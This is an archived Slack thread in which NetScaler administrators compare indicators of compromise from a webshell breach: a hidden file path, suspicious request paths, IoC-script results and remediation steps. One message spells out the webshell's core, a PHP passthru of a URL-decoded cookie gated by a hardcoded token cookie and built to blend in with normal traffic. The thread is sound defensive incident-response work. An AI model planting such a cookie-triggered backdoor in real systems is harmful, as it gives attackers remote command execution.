https://worldofeuc.com logo
Join Slack
Powered by
finally something useful that I found from someone...
# citrix-netscaler
m
finally something useful that I found from someone that got compromised. "/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver. " Which is a new dot file that adds a webshell
šŸ‘€ 4
c
Ran the script on the only NetScaler we have that is connected to the internet: It only came up with some GET requests in the httpaccess-vpn.logs for these files: /logon/LogonPoint/custom/receiver.min.<hash-of-some-sort>.css /logon/themes/<ThemeName>/receiver.min.<hash-of-some-sort>.css /netscaler/gui/vpn/scripts/linux/nsgclient18.deb /netscaler/gui/vpn/scripts/linux/nsgclient18_32.deb Which all don't exist on our NetScalers.
h
Got the same results @Marius Sandbu on a case call now
Date was 22 september
m
oh snap
so a compromised box?
c
So the file exists in your case @Henry Heres? Because I only see the GET requests, the actual files don't exist.
h
No doesn't exist
Also GET and also checking further, support did the offline check as well with the ioc script and confirmed compromised
j
Same here, one customer with exactly that file on the same path. Any informations what this is doing? Backloading a webshell or sth?
m
its a webshell
h
Yes webshell
m
This one @Julian Jakob /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver. ?
and what is the timestamp of the file
ā€¢ Content: a PHP one-liner that sets no-cache headers and runs 
passthru(urldecode($_COOKIE["NSC_TASS"]))
. It only does that if a 
CsrfToken
cookie matches a hardcoded 16-character hex value. NetScaler uses both cookie names legitimately, so the traffic blends in. ā€¢ Created: 2026-09-24 065251 UTC, on the node that was primary at the time. The secondary got a copy through HA file sync.
j
Timestamp is 26.09. - so anything to clearup or just deploy a fresh build, rotate certs, passwords, etc?! šŸ˜•
n
@Chris Jeucken are you talking about the ioc-script-v1 provided by Citrix support flagged those get requests?
c
Yes
j
Anyone using the LX Build for Nutanix? I think the IoC Script marks some false positive php files, coming from the Nutanix Build. Happy if anyone could also test on some Nutanix-VPX machines.
n
@Julian Jakob yes on LX for AHV. I generated then compared the SHA256 hash for those same files in the upgrade bundle as well as VPX never connected to the internet and they all matched.
šŸ’Æ 1
c
I checked a snapshot from before the upgrade and looked through all httpaccess and httperror logs. Here I see the same GET requests for .ctxs.receiver and receiver.min.*.css in the http access logs. But for each line I see an entry in the httperror logs at the exact same times with 'AH00128: file does not exist: <file path>'.
Any more updates @Henry Heres?
h
Redeploying
Yeah got confirmation it's valid and we're in the forensic mode, 22 september there was an breach and webshell deployed, it tried numerous things and also to/from console agent and also seems to still be valid on a patched version in HA sync, the latter is going to be validated/confirmed with detailed checks on the isolated nodes. For now redeploying and everything new on it etc.
so also going to take it up with secure@citrix.com / cloud.com or whatever they are called nowadays.
c
Wow, so it was already a known CVE on the 22nd.
h
well.... not known...
by us
or fixed
n
The modified date on some of the files included in the update file were from September 24th, so presumably they knew about it a little before that.
h
around 6 days of fun for them until there was a patch
very interested as to what else happend but that's speculating now, details will be for tomorrow
j
Is Citrix also doing some forensic? I mean, ok NetScaler is compromised, but do we have some informations on how they can jump further to common things like Domain Controllers,... ?
h
No had a sev1 case and they did the offline ioc check as well and confirmed, got a bit anxious when I mentioned the date and that it was a patched version
they don't do forensics, I've asked numerous times for is this a false positive and also for further analysis, the forensics will be done by a 3rd party (did a pre-check already)
10 Views
Open in Slack
PreviousNext
Powered by